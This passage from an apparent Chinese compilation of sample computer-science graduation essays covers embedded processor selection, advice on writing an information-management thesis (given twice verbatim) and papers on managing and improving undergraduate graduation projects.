6.仿真支持:循环精确仿真对某些类型的应用来说非常重要,特别是数字信号处理应用中许多功能正确性验证都是采用仿真技术完成的。嵌入式系统的软硬件协同设计模型也促使处理器仿真器成为开发流程中一个非常有用的工具。

7.应用支持:应用支持有多种方式,从通过热线或网站取得的应用专家支持,到预打包的软件和应用框架,甚至完好的测试平台。一些DSP处理器能够提供器件的驱动器、板级支持包和其它“启动帮助组件”。有了这些软件组件后,应用开发师就无需再编写器件驱动器等“无附加值”的软件,相反,他们可以把精力放在具有附加值的功能开发上,使他们的产品能独树一帜。

8.成本:嵌入式应用对成本特别敏感,而产品成本的稍许差别都可能导致市场的失败。

9.功耗:市场上有许多依靠电池工作的便携嵌入式实时系统,此时电池寿命将成为系统的重要参数。这种情况下应该考虑使用针对便携式应用优化的低功耗器件。

10.传统代码:如果选中的处理器需要设计人员编写与现存代码的接口,将会导致整个设计流程的严重滞后。因此需要选择一款代码兼容的器件来避免或减少这一步骤造成的影响。

11.算法复杂性:某些处理器能够非常高效地处理某类算法,因此最好选择能够与应用最佳匹配的处理器。例如,具有许多控制代码的有限状态机应用应该映射为类似ARM处理器的RISC器件。编码、解码和回波抵消等信号处理应用应该映射为数字信号处理器,或具有信号处理加速器的某种器件。

12.上市时间:项目的完成时间会加快处理器的选择过程,这一过程与先前讲述的几个关键事项密切相关,如OS的可用性、其它软件组件以及便携性问题。

设计还是购买?

是自己设计还是购买成品呢?如果有可能不重新设计,价格也比较合理的话,购买要比自己开发更有利。由于嵌入式系统预算的缩减、实时操作系统(RTOS)和TCP/IP堆栈等商用技术的改进、嵌入式系统要求的扩展,采用商业性现成(COTS)技术正变得越来越普遍。采用COTS技术能够缩短开发周期中编码、调试、单元测试和代码检查阶段的时间。

然而,作出购买而非设计的决定会改变一个组织的基础开发流程。一个组织希望实现的新业务有:供应商调研和评估、产品评估以及实时的供应商交流与关系建立。产品开发的其它活动不会取消,但会作出一些改变。这些变化包括更关注如何将系统硬件与软件更好地组合在一起,而不再把重点放在模块自己内部的运作上。另外必须更侧重于兼容性、可配置性和可集成性等结构上的问题。

必须很好的理解和高效地管理由于决定采用“购买”而非“设计创建”方式所导致的结果。首先,自然是对供应商提出产品要求、产品可靠性、计划和产品文档等依赖请求。这种情况下产品要求中的灵活性会打些折扣。购买商用产品意味着接受现有的产品要求,但这种要求也许不能完美地匹配自身产品的要求,这就需要设计人员把这种缺点与COTS技术提供的成本与上市时间优势作一个理智的权衡。

因此重要的是最终用户与技术人员必须参与COTS供应商的选择,考虑的重点要放在业务需求上而非技术本身。性价比分析所要考虑的因素应包括易学性、易用性、供应商名声和长期稳定性、许可方式和培训。所有与性能有关的声明必须尽可能采用内部或外部基准或演示来到得有效性认证。为了避免可能出现的偏差,评估标准应该在收到供应商建议前就制定好。选择供应商的主要工作包括研究和理解技术标准和相当的文件、采用类似建议请求(RFP)的标准模式征求供应商的建议、对供应商建议进行评估和排序、选择供应商并签署合同。

除了评估技术外,还应对供应商本身进行评审。要充分了解供应商开业时间的长短、供应商的背景和名声、供应商的其它用户对它的评价和意见、供应商人力资源的投入和对你的计划或项目的支持情况,以及供应商对你业务和要求的理解程度,甚至对未来项目的承诺。以前软件团队认为软件开发方案遵循类似于创建架构的特定模式。提供符合一般模式的抽象方法能够使软件团队定制符合他们特殊要求的方案,同时遵循被前人证明是高效和正确的模式。

嵌入式系统供应商已经认识到需要通过提供软件组件和类似于设计模式的框架来加快软件开发进程。在DSP领域,供应商向DSP设计工程师提供包括参考框架(RF)在内的上百个以DSP为核心的软件组件用于产品和系统开发。设计完好的参考框架能够在设备开发的早期阶段让设计人员快速入门。RF内含方便易用并且适合多种应用的源代码。由此可以取消许多早期的低层设计决策,使开发人员能有更多的时间用在真正显示产品特色的代码开发上。设计人员可以选择能够最大程度满足他们系统需要的专业RF,然后集成适配的算法(可以是其它供应商出售的DSPCOTS算法,或供应商自己的算法)生成适合各种终端设备的特殊应用,如宽带、语音、视频图像、生物测量和无线设施。这些RF提供百分之百的C语言源码,并且没有版税要求。RF源代码可以从/downloadrfnow网站下载。

软件性能工程

许多嵌入式实时系统必须满足一系列性能目标。一般来讲,性能是一个软件系统或组件对时间要求满足程度的一种指示。这里的时间指标可以用响应时间和吞吐量来衡量,该时间值是指响应某种要求所需的时间,而吞吐量用以指示系统在特定时间间隔内能够处理的请求数量。可扩展性是嵌入式实时系统的另外一个重要指标,可以用它来衡量系统要求提高时系统能够继续满足响应时间或吞吐量要求的能力。

如果在整个开发生命周期内得不到正确的性能管理,那么即使选择了正确的处理器和软件也是徒劳的。性能故障的后果是非常严重的,它可能损伤与客户的关系,造成收入下降,甚至导致整个项目失败。因此在整个生命周期内需要随时关注性能问题。性能管理可以被动或主动完成。被动方式需要采用一个较大的处理器解决性能问题,它只在系统完成构架、设计和实现后处理性能问题,在解决问题前一直处于等待状态,直到实际需要测量的事件发生。主动方式是指整个生命周期内一直在跟踪和交流性能问题,同时开发用以识别性能劣化的进程,并在性能处理中培养团队成员。

计算机系毕业论文篇5

在经过凡年的努力通过了所有课程的考试之后,我们也应当对最后的毕业论文予以足够的重视。作为一名计算机信息管理专业的本科生,我在课程学习和计算机毕业论文写作中取得了不错的成绩。因此我特将自己在撰写计算机毕业论文过程中的体会写成本文,供将要着手进行计算机毕业论文写作的同学参考。

一、计算机毕业论文选题

计算机信息管理专业,是一个着重研究信息系统开发、应用的专业。这个专业所培养的人才,若按当前人才职位来讲,就是“系统分析师”的角色。同学们对此应有准确的认识,和自己所选择的计算机毕业论文题目,应当符合这个角色定位。

计算机信息管理专业的计算机毕业论文选题,应当适于进行“系统分析”的目的,这与一些“纯”计算机专业的要求是有区别的(如计算机应用、软件开发专业)。它们各自的侧重点不同。计算机信息管理专业主要探讨研究如何在组织管理中合理使用信息技术,也就是说既关注组织机构,又研究计算机技术,是一个“管理”、“技术”两门包的专业。这也是为什么在我们的专业课程中既有“数据库技术”、“软件开发工具”,又有“管理经济学”的原因。所以我们选择的计算机毕业论文题目应符合本专业的特点要求。

一般的讲,计算机毕业论文要求同学们做的工作是:运用生命周期方法(sdlc)开发建设一个信息系统。选题可自主决定。

信息管理专业的计算机毕业论文选题应满足这样的要求:

探讨管理信息系统(mis)学术领域内的课题

选题有一定的规模,可以展开论述

结合自己的工作实际,了解的内容,可以说是“了解什么就写什么”

尽量不要选择他人写过多次的题目

一般信息管理专业的计算机毕业论文是让同学们选择某一企业、机构等等,对其中的实际工作和业务进行分析,建设开发出一个适用于此单位的信息系统,由此生成的文档、程序就是你的计算机毕业论文。所以同学们可以参考以上原则,选定适合自己的计算机毕业论文题目。与指导老师商讨后,最终确定选题。

二、计算机毕业论文所需资料

在确定了计算机毕业论文题目之后,就要开始进行实际的计算机毕业论文写作了。此时收集相关的参考材料十分重要。正如前文所提到的,信息管理专业的计算机毕业论文工作要求,就是“分析单位、建设系统”。无论哪项工作,都离不开参考材料来提供信息。

大家需要注意的是,在整个毕业设计工作中,“系统分析”是绝对的重点,也可以说是计算机毕业论文的核心。既然本专业培养的是“系统分析师”,那么这个专业的毕业生怎么可以在论文的“系统分析”内容部分马马虎虎、漏洞百出呢?因此,为了做好系统分析工作,准确分析一个单位的工作与业务,就必须搜集该单位的相关工作资料,比如相关工作流程、制度、规章及单据、报表等等,通过这一系列的材料可以比较全面、详细地了解这个单位,准确做出分析。

由于“系统分析”是全文的重点,将来计算机毕业论文答辩时,系统分析部分也是评委们关注和考查的重点,因此这部分的工作一定要做好。

资料收集的作用不仅仅体现在系统分析阶段。在后面接下来的设计、实施工作中,相关的资料也会为你的毕业论文撰写提供有用的信息。比如在进行程序设计时,相关的参考书会成为重要的依据,书中汇集了众多程序方面的智慧成果,可以从中借鉴,丰富自己的信息系统。

三、计算机毕业论文格式规范、用词准确

计算机毕业论文属于科技论文。文章应具备自己既定的毕业论文格式、规范,这样便于统一交流。从结构上看,整篇文章包括内容提要(中、英文)、目录、正文、参考文献、致谢等部分。在正文中,应注意一些公认的格式规范,比如“图”的名称要写在图的下方,“表”的名称要写在表的上方,即“图下表上”原则;应注意一张图或表与其名称不能分开在两页上,应当保证整张图、表及名称打印在同一页;注意各段落开头空两格,行距要适当等等。

计算机毕业论文的用语应当准确规范。例如“数据流图”(dfd)不要写成“数据流程图”,这样的“笔误”会暴露出你概念不清。在答辩评委审阅时,看到你在文中连基本的格式、概念都不懂,十有八九会影响成绩。因此请同学们记住:书写毕业论文,是一个需要“精益求精、咬文嚼字”的过程。

四、计算机毕业论文的文档

“软件=文档+程序”——根据这个公式,同学们开发的信息系统——一个软件,包括文档和程序两个部分,那么对于计算机信息管理的同学来讲,应当重点着手准备哪一部分呢?综合本专业的特点,同学们应当着重书写文档部分。

如前所述,信息管理专业的计算机毕业论文主要考查的是同学们对系统的分析能力,分析的成果就是文件——分析报告。特别重要的是其中的“业务流程图”和“数据流图”,必须准确表达绘制出来,它们可以说是单位工作的“照片”,是下一段论文设计、实施的基础,也是最后论文成绩的重要组成部分,必须绘制得“天衣无缝”,确保图例符号正确、逐层分解准确、布局合理、命名规范。否则,对于你的毕业论文成绩来讲“后果是严重的”。对此同学们要特别注意。

之所以要强调大家多多关注文档,是因为总有一些同学几乎是“出自本能地”想尽早尽快地着手进行最后的程序开发,不注意前面的文档撰写。对此必须明确:现代的软件开发是一个集体协作的系统工程,而不是一两个人的作坊式生产(黑客除外)。而这个开发软件的集体,包括分析、设计、维护、管理等各方面的人员,计算机信息管理专业的同学,所应当承担的角色是“分析人员”,即要分析出系统应当“做什么”( what to do),写出文档。至于“怎么做”(how to do)那是程序员的事情,而不是你的主要任务。明确了这一点,就对这里所说的“着重文档”有所理解了。

整篇计算机毕业论文文档篇幅规模不能太低,基本上不能少于15000字,否则不容易将一个系统描述清楚,更不用说准确设计、实施了。这也是前文提到“计算机毕业论文选题有一定规模”的原因。

五、积极与指导教师联络

在整个计算机毕业论文写作过程中,应积极与指导教师联系,对自己毕业论文的进展、遇到的问题及时与进行交流、探讨,按照指导教师的指导意见进行修正、改进论文,确保文章的质量。

一些同学因为是业余学习,平日里工作繁忙,有时无法按时在约定的日期与指导教师见面,为此应采用其他方法与老师联络,如电话、传真、e-mail等等。而且要尽可能地参加老师约定的见面会。通过与老师的交流探讨,确保自己的毕业论文沿着合格正确的方向进行。

指导教师对整个毕业论文成绩是很有发言权的,其中包括你平日对待毕业论文写作的态度成绩。因此,不要给指导教师留下你对毕业论文漠不关心的印象。

比如个别学生只是在最后论文答辩的那一天才来见一见老师交毕业论文,这样的做法应当竭力避免。

六、计算机毕业论文答辩

计算机毕业论文答辩,是面对面与评委们的交流,是评委们对同学们毕业论文的认定与评价,主要考核同学们语言表达能力、对问题的说明能力。

同学们在参加答辩之前,应确保完成各项准备工作,包括按要求装订毕业论文、列写答辩提纲、制作展示挂图等等,这一切都是为了给参加答辩作好物质上的准备。

计算机系毕业论文篇6

在经过凡年的努力通过了所有课程的考试之后,我们也应当对最后的毕业论文予以足够的重视。作为一名计算机信息管理专业的本科生,我在课程学习和计算机毕业论文写作中取得了不错的成绩。因此我特将自己在撰写计算机毕业论文过程中的体会写成本文,供将要着手进行计算机毕业论文写作的同学参考。

一、计算机毕业论文选题

计算机信息管理专业,是一个着重研究信息系统开发、应用的专业。这个专业所培养的人才,若按当前人才职位来讲,就是“系统分析师”的角色。同学们对此应有准确的认识,和自己所选择的计算机毕业论文题目,应当符合这个角色定位。

计算机信息管理专业的计算机毕业论文选题,应当适于进行“系统分析”的目的,这与一些“纯”计算机专业的要求是有区别的(如计算机应用、软件开发专业)。它们各自的侧重点不同。计算机信息管理专业主要探讨研究如何在组织管理中合理使用信息技术,也就是说既关注组织机构,又研究计算机技术,是一个“管理”、“技术”两门包的专业。这也是为什么在我们的专业课程中既有“数据库技术”、“软件开发工具”,又有“管理经济学”的原因。所以我们选择的计算机毕业论文题目应符合本专业的特点要求。

一般的讲,计算机毕业论文要求同学们做的工作是:运用生命周期方法(sdlc)开发建设一个信息系统。选题可自主决定。

信息管理专业的计算机毕业论文选题应满足这样的要求:

探讨管理信息系统(mis)学术领域内的课题

选题有一定的规模,可以展开论述

结合自己的工作实际,了解的内容,可以说是“了解什么就写什么”

尽量不要选择他人写过多次的题目

一般信息管理专业的计算机毕业论文是让同学们选择某一企业、机构等等,对其中的实际工作和业务进行分析,建设开发出一个适用于此单位的信息系统,由此生成的文档、程序就是你的计算机毕业论文。所以同学们可以参考以上原则,选定适合自己的计算机毕业论文题目。与指导老师商讨后,最终确定选题。

二、计算机毕业论文所需资料

在确定了计算机毕业论文题目之后,就要开始进行实际的计算机毕业论文写作了。此时收集相关的参考材料十分重要。正如前文所提到的,信息管理专业的计算机毕业论文工作要求,就是“分析单位、建设系统”。无论哪项工作,都离不开参考材料来提供信息。

大家需要注意的是,在整个毕业设计工作中,“系统分析”是绝对的重点,也可以说是计算机毕业论文的核心。既然本专业培养的是“系统分析师”,那么这个专业的毕业生怎么可以在论文的“系统分析”内容部分马马虎虎、漏洞百出呢?因此,为了做好系统分析工作,准确分析一个单位的工作与业务,就必须搜集该单位的相关工作资料,比如相关工作流程、制度、规章及单据、报表等等,通过这一系列的材料可以比较全面、详细地了解这个单位,准确做出分析。

由于“系统分析”是全文的重点,将来计算机毕业论文答辩时,系统分析部分也是评委们关注和考查的重点,因此这部分的工作一定要做好。

资料收集的作用不仅仅体现在系统分析阶段。在后面接下来的设计、实施工作中,相关的资料也会为你的毕业论文撰写提供有用的信息。比如在进行程序设计时,相关的参考书会成为重要的依据,书中汇集了众多程序方面的智慧成果,可以从中借鉴,丰富自己的信息系统。

三、计算机毕业论文格式规范、用词准确

计算机毕业论文属于科技论文。文章应具备自己既定的毕业论文格式、规范,这样便于统一交流。从结构上看,整篇文章包括内容提要(中、英文)、目录、正文、参考文献、致谢等部分。在正文中,应注意一些公认的格式规范,比如“图”的名称要写在图的下方,“表”的名称要写在表的上方,即“图下表上”原则;应注意一张图或表与其名称不能分开在两页上,应当保证整张图、表及名称打印在同一页;注意各段落开头空两格,行距要适当等等。

计算机毕业论文的用语应当准确规范。例如“数据流图”(dfd)不要写成“数据流程图”,这样的“笔误”会暴露出你概念不清。在答辩评委审阅时,看到你在文中连基本的格式、概念都不懂,十有八九会影响成绩。因此请同学们记住:书写毕业论文,是一个需要“精益求精、咬文嚼字”的过程。

四、计算机毕业论文的文档

“软件=文档+程序”——根据这个公式,同学们开发的信息系统——一个软件,包括文档和程序两个部分,那么对于计算机信息管理的同学来讲,应当重点着手准备哪一部分呢?综合本专业的特点,同学们应当着重书写文档部分。

如前所述,信息管理专业的计算机毕业论文主要考查的是同学们对系统的分析能力,分析的成果就是文件——分析报告。特别重要的是其中的“业务流程图”和“数据流图”,必须准确表达绘制出来,它们可以说是单位工作的“照片”,是下一段论文设计、实施的基础,也是最后论文成绩的重要组成部分,必须绘制得“天衣无缝”,确保图例符号正确、逐层分解准确、布局合理、命名规范。否则,对于你的毕业论文成绩来讲“后果是严重的”。对此同学们要特别注意。

之所以要强调大家多多关注文档,是因为总有一些同学几乎是“出自本能地”想尽早尽快地着手进行最后的程序开发,不注意前面的文档撰写。对此必须明确:现代的软件开发是一个集体协作的系统工程,而不是一两个人的作坊式生产(黑客除外)。而这个开发软件的集体,包括分析、设计、维护、管理等各方面的人员,计算机信息管理专业的同学,所应当承担的角色是“分析人员”,即要分析出系统应当“做什么”( what to do),写出文档。至于“怎么做”(how to do)那是程序员的事情,而不是你的主要任务。明确了这一点,就对这里所说的“着重文档”有所理解了。

整篇计算机毕业论文文档篇幅规模不能太低,基本上不能少于15000字,否则不容易将一个系统描述清楚,更不用说准确设计、实施了。这也是前文提到“计算机毕业论文选题有一定规模”的原因。

五、积极与指导教师联络

在整个计算机毕业论文写作过程中,应积极与指导教师联系,对自己毕业论文的进展、遇到的问题及时与进行交流、探讨,按照指导教师的指导意见进行修正、改进论文,确保文章的质量。

一些同学因为是业余学习,平日里工作繁忙,有时无法按时在约定的日期与指导教师见面,为此应采用其他方法与老师联络,如电话、传真、e-mail等等。而且要尽可能地参加老师约定的见面会。通过与老师的交流探讨,确保自己的毕业论文沿着合格正确的方向进行。

指导教师对整个毕业论文成绩是很有发言权的,其中包括你平日对待毕业论文写作的态度成绩。因此,不要给指导教师留下你对毕业论文漠不关心的印象。

比如个别学生只是在最后论文答辩的那一天才来见一见老师交毕业论文,这样的做法应当竭力避免。

六、计算机毕业论文答辩

计算机毕业论文答辩,是面对面与评委们的交流,是评委们对同学们毕业论文的认定与评价,主要考核同学们语言表达能力、对问题的说明能力。

同学们在参加答辩之前,应确保完成各项准备工作,包括按要求装订毕业论文、列写答辩提纲、制作展示挂图等等,这一切都是为了给参加答辩作好物质上的准备。

计算机系毕业论文篇7

关键词:毕业设计管理;过程管理;

中图分类号:TP3-4;G642.477

1 问题的提出

毕业设计(论文)是培养学生知识应用能力、实践能力和创新能力的关键环节,能否对毕业设计的各个环节进行有效管理直接关系到毕业设计的质量。近年来,随着毕业生数量的不断增加,学生毕业设计期间面临考研和就业等情况,导师指导毕业设计的时间和精力得不到充分保证,缺乏对毕业设计过程的跟踪、检查、指导,毕业设计质量有所下降。毕业设计包括选题、开题、过程跟踪、撰写论文、答辩等多个环节,每个环节需要提交的文档种类繁多,目前主要是依赖人工进行管理,存在工作量大和工作程序繁琐等问题,给毕业设计管理工作带来了很多麻烦。

计算机专业除了提交毕业设计相关文档外,大部分课题涉及到计算机应用系统的设计与开发,还需提交系统需求说明、系统概要设计、详细设计等文档,期间老师还需跟踪每个阶段系统各功能模块的完成情况。南京理工大学泰州科技学院计算机系在多年毕业设计管理经验的基础上,逐步探索了一套适应本三层次毕业生的管理体系。2012年本专业申报“江苏省大学生创新计划”项目(编号2012JSSPITP3017),组织教师、学生开发了一套毕业设计管理系统,并将该管理体系融入其中,起到了较好的效果。

2 毕业设计制度管理

建立健全毕业设计各项管理制度是保证学生高质量完成毕业设计的前提,计算机系成立以系主任为首的毕业设计工作领导小组,负责毕业设计的教学管理。教务处强化宏观管理,贯彻落实学院有关毕业设计工作的要求,制定了《南京理工大学泰州科技学院毕业设计(论文)管理规定》及相关规范化文件。计算机系专门制订了《计算机科学与技术系毕业设计工作实施细则》、《计算机科学与技术专业毕业设计大纲》,通过一系列具体措施保障毕业设计的顺利开展。

3 毕业设计过程管理

为了保证毕业设计(论文)质量,计算机专业严抓毕业设计过程。毕业设计分解为选题审题、任务书下达、毕业设计指导、论文评审、答辩五个过程和开题与开题报告、中期检查、设计成果验收三个监控节点,如图1所示。

3.1 五个过程控制

(1)选题审题过程

为了保证毕业设计的选题能够达到专业人才培养的要求,提高学生应用能力和创新能力,本专业要求指导教师提前一个学期准备毕业设计课题,由专业教研室和系部进行两级审核,对其性质、难度、分量及综合训练等情况进行把关。以保证所选课题能够培养学生的创新能力和应用开发能力。同时,计算机专业的课题强化学生的动手实践能力的培养,大多数课题是工程技术类或软件开发类课题,且多数面向企业,对学生理论联系实际、培养应用能力和创新能力起到了很好的促进作用。

(2)任务书下达过程

确定选题后,由指导教师依据毕业设计工作规范拟定毕业设计任务书,提交教研室严格把关和审核后下达给学生。指导教师向学生明确课题的具体要求,并指导学生如何完成毕业设计。毕业生在此阶段查阅相关资料,熟悉开发平台,需要提交的技术文档包括:需求分析报告、系统概要设计说明书等。

(3)毕业设计指导过程

该阶段毕业生在指导教师的指导下,按任务书的计划进行课题的研发。期间要求每位教导教师每周与毕业生至少辅导二次,学生可采用电话、Email以及见面等多种形式与指导教师沟通,向指导教师咨询相关技术问题。所有指导教师及时解答学生们所提的问题,并辅导学生完成软件系统的设计、开发、调试、运行。

(4)论文评审过程

本专业要求毕业生在毕业答辩前15天提交研究成果和论文初稿,由指导教师进行预审,对设计成果和论文初稿提出整改和完善意见。指导教师从论文格式到内容进行严格把关,对相关的软件系统做最后的验收、测试,并根据学生论文完成质量给出成绩。通过指导教师审核的学生论文,由系毕业设计领导小组指定教师互评,并根据完成质量给出互评成绩。

(5)答辩过程

审核通过的毕业生可参加答辩,答辩按时间顺序分为:公开组观摩答辩、正式答辩、补答辩。其中观摩答辩是对各组推选出来的优秀毕业生进行公开答辩。通过观摩答辩,使学生熟悉规范的毕业答辩过程。答辩遵循公正、公平、公开的原则,最终由答辩委员会给出答辩成绩。

3.2 三个监控节点

(1)开题报告与开题

在毕业设计任务书下达后组织学生提交开题报告,完成开题。该监控节点不仅要求学生给出书面开题报告,而且要求学生在教研室组织的开题报告会上介绍和展示,教师着重就其设计思路和技术路线进行把关,然后由教研室主任审核,对不符合要求者要求限期修改,重新开题。设置该监控节点的目的在于监控学生课题调研、需求分析、总体设计完成情况。

(2)中期检查

在学院规定的期中教学检查期间,完成毕业设计中期检查。中期检查主要对毕业生前半阶段的设计情况进行检查,包括设计的进度和质量如何,评估学生能否正常完成毕业设计任务,是否需要调整,对一些差生要制订帮扶措施。

(3)设计成果验收

在学生毕业答辩前,由答辩小组组织对学生的设计成果进行最后的验收,主要从系统设计的科学性、实现的方法和手段以及运行界面和功能模块进行验收。

4 毕业设计质量管理

严格的毕业设计质量监控体系是学生高质量完成毕业设计的纪律组织体系,在毕业设计工作期间,督导组专家对毕业设计的各个环节进行检查督促和指导,发现问题后及时与指导教师和有关部门反馈,保证毕业设计工作的正常和有效进行。

为了保证毕业设计(论文)的质量,本专业实现系主任-指导教师-互评教师三级审查制度。还通过毕业设计过程跟踪表对于毕业设计各个环节和阶段的质量要求和任务完成的时限做出明确规定,并对教师的指导工作进行督导。特别是对毕业生提交的计算机专业的设计文档和程序进行严格审核和把关,由各审核人签字确认。

在毕业答辩前10天提交毕业设计的成果和设计论文初稿,由答辩小组教师进行验收和初审,然后提出整改方案和意见,让毕业生在答辩之前进行最后的完善和修改。在指导教师和论文评阅教师都同意提交答辩后,由教研室对学生的毕业答辩资格进行审核,通过审核的学生方可进入毕业答辩。由于各个过程都能严格把关,学生毕业设计的论文质量逐年提高。本专业2008届-2011届毕业生的毕业设计成绩统计如表1。

5 网络平台管理

为了加强毕业设计的过程跟踪和电子文档的规范化管理,本专业基于B/S架构、平台开发了一个毕业设计管理系统,系统具有学生信息管理、教师信息管理、课题信息管理、选题管理、过程跟踪、文档管理、角色管理等功能。系统在南京理工大学泰州科技学院得到应用,为广大师生提供了一个毕业设计交流和管理的平台。

系统分为学生模块、教师模块、管理员模块。学生模块包括学生基本信息维护、学生选题、上传文档、提交进度、讨论区留言等功能;教师模块包括教师基本信息维护、上报课题、查看学生进度、管理成绩等;管理员模块包括公共、审核课题、上报成绩、设置权限、文档归档等。

6 结束语

经过近几年的研究探索,南京理工大学泰州科技学院计算机系已经逐步建立起一套特色鲜明、适合本三层次计算机专业毕业生的毕业设计管理体系。该体系提出的五个过程和三个监控点规范了毕业设计管理的流程,利用网络化管理平台减少了繁琐的工作量,提高了毕业设计的效率和质量。近几年本专业毕业生的成绩和研究成果有了明显提高,并在2011年顺利通过江苏省教育厅关于毕业设计的抽查工作。

参考文献:

[1]郭秀娟.基于B/S模式的毕业设计管理开发与实现[J].计算机技术与发展,2010,20(3):239-242.

[2]段华斌.基于工作流的毕业设计过程管理系统的设计与实现[D].中南大学,2008.

[3]张卓.基于JSP的MVC开发模式在毕业设计管理系统中的应用[J].科学技术与工程,2007,7(11):1671-1819.

作者简介:丁勇(1980-),男,江苏泰州人,教师,硕士研究生,讲师,主要研究方向:数据库、数据挖掘;储久良,男,江苏泰州人,本科,副教授,主要研究方向:数据库、计算机网络;张飞(1990-),男,江苏淮安人,2009级计算机科学与技术专业,在校学生。

计算机系毕业论文篇8

1 引言

计算机专业本科毕业设计教学是考查学生程序设计及系统开发能力的重要手段之一[1],可以培养学生求实创新的科学态度、独立分析问题及解决问题的能力;是对大学生专业素质和实践能力培养的综合检验,也是衡量学生专业综合水平的重要教学实践环节。然而目前高校计算机专业毕业设计教学质量下滑严重[2],教师论文指导工作也面临许多困难,甚至很多高校把毕业设计改革的焦点放在毕业设计是否应该存在和废除问题上。如何加强和改革大学毕业设计教学工作已迫在眉睫,找出问题的根源,积极探索并解决问题是当务之急。

2 存在的问题

笔者近8年来主要指导计算机专业本科毕业设计教学工作,认为毕业设计所存在的问题与学生、指导教师及学校所提供的环境及管理方式均有关联。

2.1 学生方面的问题

1)科研意识淡薄,理论水平不高,选题盲目,设计目标不明确。学生在毕业设计阶段缺乏基本的科研能力[3-4],如计算机专业的本科毕业设计学生往往不知从何处及如何去查阅系统设计所需资料,在众多的资料中也不知如何有效地阅读及参考相应的资料,甚至对于目前较为流行的系统设计工具及开发语言等更专业性的问题,更是知之甚少;总是按照规定的模式按部就班地进行设计,很少去思考“为什么要这样做”“可否换个角度去做”,不善于发现并解决问题,缺乏创新能力。

在多年的毕业设计论文指导过程中,笔者还发现很多学生不会应用学过的理论和知识点,如无法规范地画出软件设计流程图,论文中流程图画得五花八门。笔者经过与他们详细的交流得知,主要原因在于学生做软件系统开发时缺乏有效的设计,基本上就是学习了开发环境的使用,熟悉了部分代码开发工具如JAVA、VC++等,就开始进行系统设计,设计完成后开始写毕业论文,在毕业论文中再按软件开发流程来介绍毕业设计课题或项目的开发过程。由此画出的流程图基本上就是功能图,而学生对功能图的描述比较随意,所以画出的流程图极不规范。还有一个明显的现象,就是学生在毕设过程中对数据库的设计也是非常随意,不知数据的规范化,无法运用数据之间的联系,一般也就是设计简单的独立的几张数据表,然后运用开发环境对其进行简单的增、删、改操作,对理论课程的教学内容的使用缺乏应有的专业能力。

学生选题时,通常根据学院教师上传的毕业设计课题作为参考,由于高校系统开放的选题时间有限,加上对论文的选题背景缺乏一定的了解,很多学生最后只是根据自己所熟悉的教师来选定毕设课题,这种毫无目的的选题方式必然会给毕业设计带来很大的被动与压力。

在毕业设计过程中学生往往还把大部分精力放在了熟悉使用开发环境的工作中,而对于软件项目开发的其他过程,如项目调研、项目系统设计等环节不重视,甚至不考虑,设计目标不明确。这样在整个毕业设计的过程中包括论文写作、团队合作及沟通能力达不到毕业设计的目标要求。

2)论文写作程序混乱,抄袭严重。论文写作程序首先是确定选题,查阅资料并掌握相关基础后撰写开题报告,之后进行项目设计,待设计结束后完成毕设初稿并修改定稿。但笔者在毕业设计指导过程中往往发现这样一个奇怪的现象,部分学生总是在毕设最后阶段将毕业论文和开题报告一起上交,也就是说开题报告和毕业论文的书写时间是一致的,这也就从侧面反映出学生并没有掌握毕设的基本流程。且论文抄袭现象严重,如人事管理系统、学生管理系统等这些毕设课题,在参考书籍中可以找到类似系统的实现方法,甚至可以在网上找到类似的源代码,学生把界面稍微换一换,就成了自己做的系统,大篇幅地抄袭他人的研究成果,稍加修改就变成了自己的论文。

3)就业压力大,投入时间少。当前高校扩招严重,计算机专业毕业生人数急剧增加,就业成了毕业生严重的心里负担,各招聘单位每年在大四上学期就开始大范围地招聘,这对于即将毕业的大学生来说是个难得的就业机会,于是他们对各种招聘会跃跃欲试,基本都忙碌于各招聘会之间。除此之外,毕设时间与各高校考研初试、复试时间也相互重合,如此一来,多数学生在毕业设计环节上投入的精力甚微。

2.2 指导教师的问题

计算机专业毕业设计的课题根据学科性质主要分为两大类,一类是科学研究型课题,体现计算机基础理论与核心技术的创新性,主要培养学生计算思维能力和算法设计与分析能力;第二类是工程应用型课题,培养学生程序设计与实现能力及计算机系统的认知、分析、开发与应用能力。但每一年学院毕业设计选题内容大多是相似或相同的,部分指导教师也都存在这样一种心理,认为学生的科研能力非常薄弱,于是在自己所负责的教研及科研项目中也很少让学生参与;负责毕设相关指导任务的各位教师,大部分又同时担负着繁重的教学及科研任务,这样一来,指导毕业设计的精力和时间就不是很充沛。这些原因都可导致学生实践及科研能力得不到有效锻炼,毕业设计教学效果当然就很不理想。

2.3 毕设实验设备不足,没有良好的实习基地

学院的毕设实验平台设备少,学生多,且设备不能及时更新,毕设管理人员很难对学生的实验过程进行有效的监督,学生的实践能力普遍欠缺,这些都直接导致毕设学生计算机系统开发平台运用能力差。且有些实验设备比较简单,主要以验证性操作为主,缺乏综合设计实验的探索性分析。

2.4 毕业设计开设时间不合理,模式单一,管理不到位

绝大部分高校均将毕设时间安排在本科生教学计划的第八学期,而这样的时间安排恰好又与就业、考研冲突,学生对毕设投入的精力少;且毕业论文基本上还停留在如何教学生写论文的基本模式上,很多学生对自己所做毕业设计课题根本不感兴趣,毕业论文质量差,论文模式单一无创新。由于答辩人数众多且答辩时间短,毕业论文答辩工作也难以高质量地完成,答辩基本上停留在基本形式上,毕设监督的力度缺乏,无明确的考核标准,约束力度小。

3 提升毕业设计质量的对策

笔者根据以上分析的毕业设计教学过程中所存在的种种问题,给出改善计算机专业本科毕业设计教学的几点参考建议。

3.1 更改毕业设计教学时间

我国高校的毕业设计工作大多数在第八学期完成,而毕业设计恰恰又是综合性及层次性最高的重要教学实践环节,很难用一个学期完成。国外的一些大学将毕业设计实践安排在整个大学就读期间完成[3,5],以学分制为主,通过大学4年的学习可到工厂、企业等各处实习,并最终上交毕业报告。可借鉴并参考国外的经验,提前开设毕设相关指导课程,并作为必修课程,让学生掌握毕设的相关程序和写作格式等,有充分的时间和基础准备毕业设计论文。

3.2 认真做好毕业设计选题及分配任务

